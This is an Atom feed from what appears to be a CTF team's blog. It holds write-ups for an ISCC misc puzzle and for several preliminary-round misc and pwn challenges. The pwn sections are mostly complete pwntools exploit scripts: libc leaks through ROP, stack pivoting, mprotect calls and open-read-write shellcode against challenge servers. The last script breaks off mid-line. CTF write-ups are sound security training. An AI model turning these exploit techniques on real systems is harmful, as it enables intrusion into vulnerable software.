<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <author>
    <name>BITs2Sys</name>
  </author>
  <generator uri="https://hexo.io/">Hexo</generator>
  <id>https://bitctf.cn/community/</id>
  <link href="https://bitctf.cn/community/" rel="alternate"/>
  <link href="https://bitctf.cn/community/atom.xml" rel="self"/>
  <rights>All rights reserved 2026, BITs2Sys</rights>
  <subtitle>BITs2Sys 战队博客</subtitle>
  <title>BIT CTF Community</title>
  <updated>2025-02-02T13:43:21.000Z</updated>
  <entry>
    <author>
      <name>BITs2Sys</name>
    </author>
    <category term="WP" scheme="https://bitctf.cn/community/categories/wp/"/>
    <category term="ISCC" scheme="https://bitctf.cn/community/tags/iscc/"/>
    <content>
      <![CDATA[<h2 style="" id="misc02">Misc02</h2><p style="">附件给了三个压缩包和两个txt，其中皮箱压缩包有密码，先看皮箱封条.txt</p><p style=""><img src="/community/upload/image.png" width="100%" height="100%" style="display: inline-block"></p><p style="">给的是一串数列，观察后得到通项公式：<img src="/community/upload/image-xtzi.png" width="100%" height="100%" style="display: inline-block">但是求出来的结果无法解压缩，通过字典爆破后发现实际压缩包密码为5a2dd7b80，即220033个大衍数，解压后得到五张图片</p><p style=""><img src="/community/upload/image-qvsn.png" width="100%" height="100%" style="display: inline-block"></p><p style="">继续看另外一个txt，需要求一个六位数</p><p style=""><img src="/community/upload/image-rxih.png" width="100%" height="100%" style="display: inline-block"></p><p style="">代码如下：</p><pre><code class="language-python">for i in range(100000,1000000):&nbsp;&nbsp;&nbsp; s=str(i)&nbsp;&nbsp;&nbsp; if(len(set(s))!=len(s)):&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; continue&nbsp;&nbsp;&nbsp; s2 = str(i * i)&nbsp;&nbsp;&nbsp; k=0&nbsp;&nbsp;&nbsp; for j in range(0,len(s2)):&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if s2[j] in s:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; k=1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; break&nbsp;&nbsp;&nbsp; if(k==0):&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; print(i)# 203879# 639172</code></pre><p style="">二者相乘后得到压缩包密码1e574dfedc，解压后得到四个文件夹</p><p style="">坎：有一个加急密信.word，放010后发现是png文件，修改后缀得到图片</p><p style=""><img src="/community/upload/image-qjvh.png" width="100%" height="100%" style="display: inline-block"></p><p style="">坤：一个wav文件，audacity打开查看频谱图得到一个二维码碎片</p><p style=""><img src="/community/upload/image-wsxg.png" width="100%" height="100%" style="display: inline-block"></p><p style="">离：一张拉伸过的图片，crc计算后得到原始图片</p><p style=""><img src="/community/upload/image-jgme.png" width="100%" height="100%" style="display: inline-block"></p><p style="">乾：一张food.png，用stegsolve查看得到一个二维码碎片</p><p style=""><img src="/community/upload/image-fxwx.png" width="100%" height="100%" style="display: inline-block"></p><p style="">fuxi.7z的密码之后由主办方给出为iscc1234，解压缩后得到一张伏羲八卦的图片猜测与图片以及文件夹的名字相对应。观察发现二维码的大小为33*33，且由特征点确定大致位置：</p><p style=""><img src="/community/upload/image-clql.png" width="100%" height="100%" style="display: inline-block"></p><p style="">其中坤需要进行右旋90°，兑需要旋转180°，结合伏羲八卦图，正中间为太极，离与坎相对，即右2是坎，乾与坤相对，即中3是乾。（这里比较奇怪的地方在于二维码碎片并未按照八卦的顺序排列）</p><p style="">最后拼接得到所求的二维码：</p><p style=""><img src="/community/upload/image-uexu.png" width="100%" height="100%" style="display: inline-block"></p><p style="">识别后得到flag，为ISCC{wisH_U_ki7mo5_all_tHe_bEst}</p><p style=""></p>]]>
    </content>
    <id>https://bitctf.cn/community/archives/iscc-2024-bo-yi-dui-kang-sai-wp/</id>
    <link href="https://bitctf.cn/community/archives/iscc-2024-bo-yi-dui-kang-sai-wp/"/>
    <published>2025-02-02T13:40:30.000Z</published>
    <summary>Misc02 附件给了三个压缩包和两个txt，其中皮箱压缩包有密码，先看皮箱封条.txt 给的是一串数列，观察后得到通项公式：但是求出来的结果无法解压缩，通过字典爆破后发现实际压缩包密码为5a2dd7b80，即220033个大衍数，解压后得到五张图片 继续看</summary>
    <title>ISCC 2024 博弈对抗赛 WP</title>
    <updated>2025-02-02T13:43:21.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>BITs2Sys</name>
    </author>
    <category term="WP" scheme="https://bitctf.cn/community/categories/wp/"/>
    <content>
      <![CDATA[<h1 id="初赛"><a href="#初赛" class="headerlink" title="初赛"></a>初赛</h1><h2 id="Misc"><a href="#Misc" class="headerlink" title="Misc"></a>Misc</h2><h3 id="ezflag"><a href="#ezflag" class="headerlink" title="ezflag"></a>ezflag</h3><p>打开流量包，发现有两个包里面内容可以组成一个压缩包</p><p><img src="/community/upload/image-20241019101533-3kv8v9u.png" alt="image"></p><p>把得到的压缩包里面的flag.zip解压出来，发现其实是PNG图片</p><p><img src="/community/upload/image-20241019101623-te6fl0f.png" alt="image"></p><p><img src="/community/upload/image-20241019101852-rjvj31z.png" alt="image"></p><h3 id="PvZ"><a href="#PvZ" class="headerlink" title="PvZ"></a>PvZ</h3><p>打开压缩包看到给了一张植物大战僵尸的游戏截图，还有一个txt</p><p><img src="/community/upload/image-20241019162158-4njmr07.png" alt="image"></p><p><img src="/community/upload/image-20241019162202-eaehovl.png" alt="image"></p><p>另一个压缩包密码是花了多少钱的md5值</p><p><img src="/community/upload/image-20241019162217-hkug7mh.png" alt="image"></p><p>选择直接爆破price，得到price是738</p><p>里面有两个残缺的二维码图片</p><p><img src="/community/upload/M41b0lg3-20241019162327-g8e9lkh.png" alt="M41b0lg3"></p><p><img src="/community/upload/Zz-20241019162327-3vlf09z.png" alt="Zz"></p><p>修一下：</p><p><img src="/community/upload/d7cf3410c868167fe398b67ce17cd87-20241019162339-fn79amp.png" alt="d7cf3410c868167fe398b67ce17cd87"></p><p>扫一下：</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line">D<span class="string">&#x27;`_q^K![YG&#123;VDTveRc10qpnJ+*)G!~f1&#123;d@-&#125;v&lt;)9xqYonsrqj0hPlkdcb(`Hd]#a`_A@VzZY;Qu8NMqKPONGkK-,BGF?cCBA@&quot;&gt;76Z:321U54-21*Non,+*#G&#x27;</span>&amp;%$d<span class="string">&quot;y?w_uzsr8vunVrk1ongOe+ihgfeG]#[ZY^W\UZSwWVUNrRQ3IHGLEiCBAFE&gt;=aA:9&gt;765:981Uvu-2+O/.nm+$Hi&#x27;~&#125;|B&quot;</span>!~&#125;|u]s9qYonsrqj0hmlkjc)gIedcb[!YX]\UZSwWVUN6LpP2HMFEDhHG@dDCBA:^!~&lt;;:921U/u3,+*Non&amp;%*)(<span class="string">&#x27;&amp;&#125;C&#123;cy?&#125;|&#123;zs[q7unVl2ponmleMib(fHG]b[Z~k</span></span><br></pre></td></tr></table></figure><p>不知道是啥玩意，看到有一个二维码图片名字是M41b0lg3，找到了一个叫Malbolge的编程语言</p><p>参考 <a href="https://hasegawaazusa.github.io/malbolge-language-note.html">https://hasegawaazusa.github.io/malbolge-language-note.html</a>，直接运行一下</p><p><img src="/community/upload/image-20241019162501-n0xkjgf.png" alt="image"></p><h2 id="‍PWN"><a href="#‍PWN" class="headerlink" title="‍PWN"></a>‍PWN</h2><h3 id="signin"><a href="#signin" class="headerlink" title="signin"></a>signin</h3><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> pwnlib.dynelf <span class="keyword">import</span> ctypes</span><br><span class="line"><span class="keyword">from</span> pwnlib.fmtstr <span class="keyword">import</span> make_atoms_simple</span><br><span class="line"><span class="keyword">from</span> ctypes <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">context(arch=<span class="string">&quot;amd64&quot;</span>, os=<span class="string">&quot;linux&quot;</span>, log_level=<span class="string">&quot;debug&quot;</span>)</span><br><span class="line">context.terminal = [<span class="string">&quot;tmux&quot;</span>, <span class="string">&quot;split&quot;</span>, <span class="string">&quot;-h&quot;</span>]</span><br><span class="line">binary_path = <span class="string">&quot;./signin_t/vuln&quot;</span></span><br><span class="line">libc_path = <span class="string">&quot;./signin_t/libc.so.6&quot;</span></span><br><span class="line"></span><br><span class="line">rop = ROP(binary_path)</span><br><span class="line">elf = ELF(binary_path)</span><br><span class="line"></span><br><span class="line">libc = ELF(libc_path)</span><br><span class="line">libc_dll = cdll.LoadLibrary(libc_path)</span><br><span class="line"></span><br><span class="line">libc_dll.srand(<span class="number">0</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">local = <span class="number">1</span></span><br><span class="line"></span><br><span class="line">ip, port = <span class="string">&quot;61.147.171.105&quot;</span>, <span class="number">29144</span></span><br><span class="line"><span class="keyword">if</span> local == <span class="number">0</span>:</span><br><span class="line">    p = process(binary_path)</span><br><span class="line">    dbg = <span class="keyword">lambda</span> p: gdb.attach(p)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">    p = remote(<span class="string">&quot;pwn-5419033d36.challenge.xctf.org.cn&quot;</span>, <span class="number">9999</span>, ssl=<span class="literal">True</span>)</span><br><span class="line">    dbg = <span class="keyword">lambda</span> _: <span class="literal">None</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">ls = <span class="keyword">lambda</span> addr: log.success(<span class="built_in">hex</span>(addr))</span><br><span class="line">recv = <span class="keyword">lambda</span> char: u64(p.recvuntil(char, drop=<span class="literal">True</span>).ljust(<span class="number">8</span>, <span class="string">b&quot;\0&quot;</span>))</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment"># __libc_start_main</span></span><br><span class="line"></span><br><span class="line">csu_start = <span class="number">0x0401870</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">csu</span>(<span class="params">edi=<span class="number">0</span>, rsi=<span class="number">0</span>, rdx=<span class="number">0</span>, r12=<span class="number">0</span>, start=csu_start, mode=<span class="number">0</span></span>):</span><br><span class="line">    end = start + <span class="number">0x1A</span></span><br><span class="line">    payload = p64(end)</span><br><span class="line">    payload += p64(<span class="number">0</span>)  <span class="comment"># rbx</span></span><br><span class="line">    payload += p64(<span class="number">1</span>)  <span class="comment"># rbp</span></span><br><span class="line">    <span class="keyword">if</span> mode == <span class="number">0</span>:</span><br><span class="line">        payload += p64(r12)  <span class="comment"># r12</span></span><br><span class="line">        payload += p64(edi)  <span class="comment"># edi</span></span><br><span class="line">        payload += p64(rsi)  <span class="comment"># rsi</span></span><br><span class="line">        payload += p64(rdx)  <span class="comment"># rdx</span></span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        payload += p64(edi)  <span class="comment"># r12</span></span><br><span class="line">        payload += p64(rsi)  <span class="comment"># edi</span></span><br><span class="line">        payload += p64(rdx)  <span class="comment"># rsi</span></span><br><span class="line">        payload += p64(r12)  <span class="comment"># rdx</span></span><br><span class="line">    payload += p64(start)</span><br><span class="line">    payload += <span class="string">b&quot;a&quot;</span> * <span class="number">56</span></span><br><span class="line">    <span class="keyword">return</span> payload</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment"># =================start=================#</span></span><br><span class="line"></span><br><span class="line">payload = p64(<span class="number">0</span>) * <span class="number">2</span> + <span class="string">b&quot;\x00\x00&quot;</span></span><br><span class="line">p.send(payload)</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">100</span>):</span><br><span class="line">    res = libc_dll.rand() % <span class="number">100</span> + <span class="number">1</span></span><br><span class="line">    p.sendafter(<span class="string">b&quot;code:\n&quot;</span>, p8(res))</span><br><span class="line"></span><br><span class="line">p.sendafter(<span class="string">b&quot;&gt;&gt;&quot;</span>, <span class="string">b&quot;\x01&quot;</span>)</span><br><span class="line"></span><br><span class="line">p.sendafter(<span class="string">b&quot;Index: \n&quot;</span>, <span class="string">b&quot;\x01&quot;</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">p.sendafter(<span class="string">b&quot;Note: \n&quot;</span>, <span class="string">b&quot;aaaabbbb&quot;</span>)</span><br><span class="line"></span><br><span class="line">puts_plt = elf.plt.puts</span><br><span class="line">puts_got = elf.got.puts</span><br><span class="line">vuln_addr = elf.sym.o_O</span><br><span class="line">read_addr = <span class="number">0x4013CF</span></span><br><span class="line">pop_rdi = <span class="number">0x0000000000401893</span></span><br><span class="line">lev_ret = <span class="number">0x00000000004013BE</span></span><br><span class="line">ret_addr = <span class="number">0x000000000040101A</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">payload = <span class="string">b&quot;a&quot;</span> * <span class="number">0x108</span></span><br><span class="line">payload += p64(pop_rdi)</span><br><span class="line">payload += p64(puts_got)</span><br><span class="line">payload += p64(puts_plt)</span><br><span class="line">payload += p64(vuln_addr)</span><br><span class="line">sleep(<span class="number">0.5</span>)</span><br><span class="line">p.send(payload)</span><br><span class="line"></span><br><span class="line">libc_base = recv(<span class="string">b&quot;\n&quot;</span>) - libc.sym.puts</span><br><span class="line">mprotect_addr = libc_base + libc.sym.mprotect</span><br><span class="line"></span><br><span class="line">sleep(<span class="number">0.5</span>)</span><br><span class="line"></span><br><span class="line">bss_addr = <span class="number">0x404500</span></span><br><span class="line"></span><br><span class="line">payload = <span class="string">b&quot;a&quot;</span> * <span class="number">0x100</span></span><br><span class="line">payload += p64(bss_addr)</span><br><span class="line">payload += p64(read_addr)</span><br><span class="line">p.send(payload)</span><br><span class="line"></span><br><span class="line">shell = <span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="string">mov rax, 2;</span></span><br><span class="line"><span class="string">mov rcx, 0x67616c662f2e;</span></span><br><span class="line"><span class="string">push rcx;</span></span><br><span class="line"><span class="string">mov rdi, rsp;</span></span><br><span class="line"><span class="string">xor rsi, rsi;</span></span><br><span class="line"><span class="string">syscall;</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">mov rdi, rax;</span></span><br><span class="line"><span class="string">xor rax, rax;</span></span><br><span class="line"><span class="string">mov rsi, 0x404600;</span></span><br><span class="line"><span class="string">mov rdx, 0x50;</span></span><br><span class="line"><span class="string">xor rax, rax;</span></span><br><span class="line"><span class="string">syscall;</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">xor rax, rax;</span></span><br><span class="line"><span class="string">inc rax;</span></span><br><span class="line"><span class="string">mov rsi, 0x404600;</span></span><br><span class="line"><span class="string">mov rdx, 0x50;</span></span><br><span class="line"><span class="string">mov rdi, 1;</span></span><br><span class="line"><span class="string">syscall;</span></span><br><span class="line"><span class="string">&quot;&quot;&quot;</span></span><br><span class="line"></span><br><span class="line">dbg(p)</span><br><span class="line">ls(libc_base)</span><br><span class="line">sleep(<span class="number">0.5</span>)</span><br><span class="line">payload = csu(edi=<span class="number">0x404000</span>, rsi=<span class="number">0x1000</span>, rdx=<span class="number">0x7</span>, r12=<span class="number">0x404510</span>, mode=<span class="number">1</span>)</span><br><span class="line"></span><br><span class="line">payload += p64(<span class="number">0x404480</span>)</span><br><span class="line">payload += asm(shell)</span><br><span class="line"></span><br><span class="line">payload = payload.ljust(<span class="number">0x100</span>, <span class="string">b&quot;x&quot;</span>)</span><br><span class="line">payload += p64(bss_addr - <span class="number">0x108</span>)</span><br><span class="line">payload += p64(lev_ret)</span><br><span class="line">payload += p64(mprotect_addr)</span><br><span class="line">p.send(payload)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">p.interactive()</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>首先有个猜随机数的可以覆写种子绕过，之后有一个类似堆的东西，事实上是栈溢出，和堆一点关系都没有。有个沙箱，直接栈迁移➕mprotect然后写入shellcode,打orw.</p><h3 id="signin-revenge"><a href="#signin-revenge" class="headerlink" title="signin_revenge"></a>signin_revenge</h3><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> pwnlib.dynelf <span class="keyword">import</span> ctypes</span><br><span class="line"><span class="keyword">from</span> pwnlib.fmtstr <span class="keyword">import</span> make_atoms_simple</span><br><span class="line"><span class="keyword">from</span> ctypes <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">context(arch=<span class="string">&quot;amd64&quot;</span>, os=<span class="string">&quot;linux&quot;</span>, log_level=<span class="string">&quot;debug&quot;</span>)</span><br><span class="line">context.terminal = [<span class="string">&quot;tmux&quot;</span>, <span class="string">&quot;split&quot;</span>, <span class="string">&quot;-h&quot;</span>]</span><br><span class="line">binary_path = <span class="string">&quot;./signin/vuln&quot;</span></span><br><span class="line">libc_path = <span class="string">&quot;./signin/libc.so.6&quot;</span></span><br><span class="line"></span><br><span class="line">rop = ROP(binary_path)</span><br><span class="line">elf = ELF(binary_path)</span><br><span class="line"></span><br><span class="line">libc = ELF(libc_path)</span><br><span class="line">libc_dll = cdll.LoadLibrary(libc_path)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">local = <span class="number">1</span></span><br><span class="line"></span><br><span class="line">ip, port = <span class="string">&quot;pwn-f2237b44a0.challenge.xctf.org.cn&quot;</span>, <span class="number">9999</span></span><br><span class="line"><span class="keyword">if</span> local == <span class="number">0</span>:</span><br><span class="line">    p = process(binary_path)</span><br><span class="line">    dbg = <span class="keyword">lambda</span> p: gdb.attach(p)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">    p = remote(<span class="string">&quot;pwn-16186d9a30.challenge.xctf.org.cn&quot;</span>, <span class="number">9999</span>, ssl=<span class="literal">True</span>)</span><br><span class="line">    dbg = <span class="keyword">lambda</span> _: <span class="literal">None</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">ls = <span class="keyword">lambda</span> addr: log.success(<span class="built_in">hex</span>(addr))</span><br><span class="line">recv = <span class="keyword">lambda</span> char: u64(p.recvuntil(char, drop=<span class="literal">True</span>).ljust(<span class="number">8</span>, <span class="string">b&quot;\0&quot;</span>))</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment"># __libc_start_main</span></span><br><span class="line"></span><br><span class="line">csu_start = <span class="number">0x401370</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">csu</span>(<span class="params">edi=<span class="number">0</span>, rsi=<span class="number">0</span>, rdx=<span class="number">0</span>, r12=<span class="number">0</span>, start=csu_start, mode=<span class="number">0</span></span>):</span><br><span class="line">    end = start + <span class="number">0x1A</span></span><br><span class="line">    payload = p64(end)</span><br><span class="line">    payload += p64(<span class="number">0</span>)  <span class="comment"># rbx</span></span><br><span class="line">    payload += p64(<span class="number">1</span>)  <span class="comment"># rbp</span></span><br><span class="line">    <span class="keyword">if</span> mode == <span class="number">0</span>:</span><br><span class="line">        payload += p64(r12)  <span class="comment"># r12</span></span><br><span class="line">        payload += p64(edi)  <span class="comment"># edi</span></span><br><span class="line">        payload += p64(rsi)  <span class="comment"># rsi</span></span><br><span class="line">        payload += p64(rdx)  <span class="comment"># rdx</span></span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        payload += p64(edi)  <span class="comment"># r12</span></span><br><span class="line">        payload += p64(rsi)  <span class="comment"># edi</span></span><br><span class="line">        payload += p64(rdx)  <span class="comment"># rsi</span></span><br><span class="line">        payload += p64(r12)  <span class="comment"># rdx</span></span><br><span class="line">    payload += p64(start)</span><br><span class="line">    payload += <span class="string">b&quot;a&quot;</span> * <span class="number">56</span></span><br><span class="line">    <span class="keyword">return</span> payload</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sig</span>(<span class="params">rax=<span class="number">0</span>, rdi=<span class="number">0</span>, rsi=<span class="number">0</span>, rdx=<span class="number">0</span>, rsp=<span class="number">0</span>, rip=<span class="number">0</span></span>):</span><br><span class="line">    sigframe = SigreturnFrame()</span><br><span class="line">    sigframe.rax = rax</span><br><span class="line">    sigframe.rdi = rdi  <span class="comment"># &quot;/bin/sh&quot; &#x27;s addr</span></span><br><span class="line">    sigframe.rsi = rsi</span><br><span class="line">    sigframe.rdx = rdx</span><br><span class="line">    sigframe.rsp = rsp</span><br><span class="line">    sigframe.rip = rip</span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">bytes</span>(sigframe)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment"># =================start=================#</span></span><br><span class="line"></span><br><span class="line">puts_plt = elf.plt.puts</span><br><span class="line">puts_got = elf.got.puts</span><br><span class="line">vuln_addr = elf.sym.vuln</span><br><span class="line">read_addr = <span class="number">0x000000004012CF</span></span><br><span class="line">pop_rdi = <span class="number">0x0000000000401393</span></span><br><span class="line">lev_ret = <span class="number">0x00000000004012BE</span></span><br><span class="line">ret_addr = <span class="number">0x000000000040101A</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">payload = <span class="string">b&quot;a&quot;</span> * <span class="number">0x108</span></span><br><span class="line">payload += p64(pop_rdi)</span><br><span class="line">payload += p64(puts_got)</span><br><span class="line">payload += p64(puts_plt)</span><br><span class="line">payload += p64(vuln_addr)</span><br><span class="line">p.sendafter(<span class="string">b&quot;pwn!\n&quot;</span>, payload)</span><br><span class="line"></span><br><span class="line">libc_base = recv(<span class="string">b&quot;\n&quot;</span>) - libc.sym.puts</span><br><span class="line">mprotect_addr = libc_base + libc.sym.mprotect</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">sleep(<span class="number">0.5</span>)</span><br><span class="line"></span><br><span class="line">bss_addr = <span class="number">0x404500</span></span><br><span class="line"></span><br><span class="line">payload = <span class="string">b&quot;a&quot;</span> * <span class="number">0x100</span></span><br><span class="line">payload += p64(bss_addr)</span><br><span class="line">payload += p64(read_addr)</span><br><span class="line">p.send(payload)</span><br><span class="line"></span><br><span class="line">shell = <span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="string">mov rax, 2;</span></span><br><span class="line"><span class="string">mov rcx, 0x67616c662f2e;</span></span><br><span class="line"><span class="string">push rcx;</span></span><br><span class="line"><span class="string">mov rdi, rsp;</span></span><br><span class="line"><span class="string">xor rsi, rsi;</span></span><br><span class="line"><span class="string">syscall;</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">mov rdi, rax;</span></span><br><span class="line"><span class="string">xor rax, rax;</span></span><br><span class="line"><span class="string">mov rsi, 0x404600;</span></span><br><span class="line"><span class="string">mov rdx, 0x50;</span></span><br><span class="line"><span class="string">xor rax, rax;</span></span><br><span class="line"><span class="string">syscall;</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">xor rax, rax;</span></span><br><span class="line"><span class="string">inc rax;</span></span><br><span class="line"><span class="string">mov rsi, 0x404600;</span></span><br><span class="line"><span class="string">mov rdx, 0x50;</span></span><br><span class="line"><span class="string">mov rdi, 1;</span></span><br><span class="line"><span class="string">syscall;</span></span><br><span class="line"><span class="string">&quot;&quot;&quot;</span></span><br><span class="line"></span><br><span class="line">dbg(p)</span><br><span class="line">ls(libc_base)</span><br><span class="line">sleep(<span class="number">0.5</span>)</span><br><span class="line">payload = csu(edi=<span class="number">0x404000</span>, rsi=<span class="number">0x1000</span>, rdx=<span class="number">0x7</span>, r12=<span class="number">0x404510</span>, mode=<span class="number">1</span>)</span><br><span class="line"></span><br><span class="line">payload += p64(<span class="number">0x404480</span>)</span><br><span class="line">payload += asm(shell)</span><br><span class="line"></span><br><span class="line">payload = payload.ljust(<span class="number">0x100</span>, <span class="string">b&quot;x&quot;</span>)</span><br><span class="line">payload += p64(bss_addr - <span class="number">0x108</span>)</span><br><span class="line">payload += p64(lev_ret)</span><br><span class="line">payload += p64(mprotect_addr)</span><br><span class="line">p.send(payload)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">p.interactive()</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>就是把signin中的栈溢出函数单独弄了出来，沙箱都是一模一样的。虽然读入内容少了，但还是能够栈迁移。和上一题做法一样。</p><h3 id="QWEN"><a href="#QWEN" class="headerlink" title="QWEN"></a>QWEN</h3><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> pwnlib.dynelf <span class="keyword">import</span> ctypes</span><br><span class="line"><span class="keyword">from</span> pwnlib.fmtstr <span class="keyword">import</span> make_atoms_simple</span><br><span class="line"><span class="keyword">from</span> ctypes <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">context(arch=<span class="string">&quot;amd64&quot;</span>, os=<span class="string">&quot;linux&quot;</span>, log_level=<span class="string">&quot;debug&quot;</span>)</span><br><span class="line">context.terminal = [<span class="string">&quot;tmux&quot;</span>, <span class="string">&quot;split&quot;</span>, <span class="string">&quot;-h&quot;</span>]</span><br><span class="line">binary_path = <span class="string">&quot;./QWEN/pwn1&quot;</span></span><br><span class="line">libc_path = <span class="string">&quot;./QWEN/libc.so.6&quot;</span></span><br><span class="line"></span><br><span class="line">rop = ROP(binary_path)</span><br><span class="line">elf = ELF(binary_path)</span><br><span class="line"></span><br><span class="line">libc = ELF(libc_path)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">local = <span class="number">1</span></span><br><span class="line"></span><br><span class="line">ip, port = <span class="string">&quot;61.147.171.105&quot;</span>, <span class="number">29144</span></span><br><span class="line"><span class="comment"># ip, port = &quot;chall.pwnable.tw&quot;, 1</span></span><br><span class="line"><span class="keyword">if</span> local == <span class="number">0</span>:</span><br><span class="line">    p = process(binary_path)</span><br><span class="line">    dbg = <span class="keyword">lambda</span> p: gdb.attach(p)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">    p = remote(<span class="string">&quot;pwn-deb19cee97.challenge.xctf.org.cn&quot;</span>, <span class="number">9999</span>, ssl=<span class="literal">True</span>)</span><br><span class="line">    dbg = <span class="keyword">lambda</span> _: <span class="literal">None</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">ls = <span class="keyword">lambda</span> addr: log.success(<span class="built_in">hex</span>(addr))</span><br><span class="line">recv = <span class="keyword">lambda</span> char: u64(p.recvuntil(char, drop=<span class="literal">True</span>).ljust(<span class="number">8</span>, <span class="string">b&quot;\0&quot;</span>))</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">search_from_libc</span>(<span class="params">func_name: <span class="built_in">str</span>, func_addr: <span class="built_in">int</span>, libc=libc</span>):</span><br><span class="line">    log.success(func_name + <span class="string">&quot;: &quot;</span> + <span class="built_in">hex</span>(func_addr))</span><br><span class="line">    offset = func_addr - libc.symbols[func_name]</span><br><span class="line">    binsh = offset + libc.search(<span class="string">b&quot;/bin/sh&quot;</span>).__next__()</span><br><span class="line">    system = offset + libc.symbols[<span class="string">&quot;system&quot;</span>]</span><br><span class="line">    log.success(<span class="string">&quot;offset: &quot;</span> + <span class="built_in">hex</span>(offset))</span><br><span class="line">    <span class="keyword">return</span> (system, binsh)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment"># __libc_start_main</span></span><br><span class="line"></span><br><span class="line">csu_start = <span class="number">0x0</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">csu</span>(<span class="params">edi=<span class="number">0</span>, rsi=<span class="number">0</span>, rdx=<span class="number">0</span>, r12=<span class="number">0</span>, start=csu_start, mode=<span class="number">0</span></span>):</span><br><span class="line">    end = start + <span class="number">0x1A</span></span><br><span class="line">    payload = p64(end)</span><br><span class="line">    payload += p64(<span class="number">0</span>)  <span class="comment"># rbx</span></span><br><span class="line">    payload += p64(<span class="number">1</span>)  <span class="comment"># rbp</span></span><br><span class="line">    <span class="keyword">if</span> mode == <span class="number">0</span>:</span><br><span class="line">        payload += p64(r12)  <span class="comment"># r12</span></span><br><span class="line">        payload += p64(edi)  <span class="comment"># edi</span></span><br><span class="line">        payload += p64(rsi)  <span class="comment"># rsi</span></span><br><span class="line">        payload += p64(rdx)  <span class="comment"># rdx</span></span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        payload += p64(edi)  <span class="comment"># r12</span></span><br><span class="line">        payload += p64(rsi)  <span class="comment"># edi</span></span><br><span class="line">        payload += p64(rdx)  <span class="comment"># rsi</span></span><br><span class="line">        payload += p64(r12)  <span class="comment"># rdx</span></span><br><span class="line">    payload += p64(start)</span><br><span class="line">    payload += <span class="string">b&quot;a&quot;</span> * <span class="number">56</span></span><br><span class="line">    <span class="keyword">return</span> payload</span><br><span class="line"></span><br><span class="line"><span class="comment"># =================start=================#</span></span><br><span class="line"></span><br><span class="line">p.sendlineafter(<span class="string">b&quot;\xef\xbc\x9a&quot;</span>, <span class="string">b&quot;0 0&quot;</span>)</span><br><span class="line">p.sendlineafter(<span class="string">b&quot;\xef\xbc\x9a&quot;</span>, <span class="string">b&quot;1 1&quot;</span>)</span><br><span class="line">p.sendlineafter(<span class="string">b&quot;\xef\xbc\x9a&quot;</span>, <span class="string">b&quot;2 2&quot;</span>)</span><br><span class="line">p.sendlineafter(<span class="string">b&quot;\xef\xbc\x9a&quot;</span>, <span class="string">b&quot;3 3&quot;</span>)</span><br><span class="line">p.sendlineafter(<span class="string">b&quot;\xef\xbc\x9a&quot;</span>, <span class="string">b&quot;4 4&quot;</span>)</span><br><span class="line"></span><br><span class="line">payload = 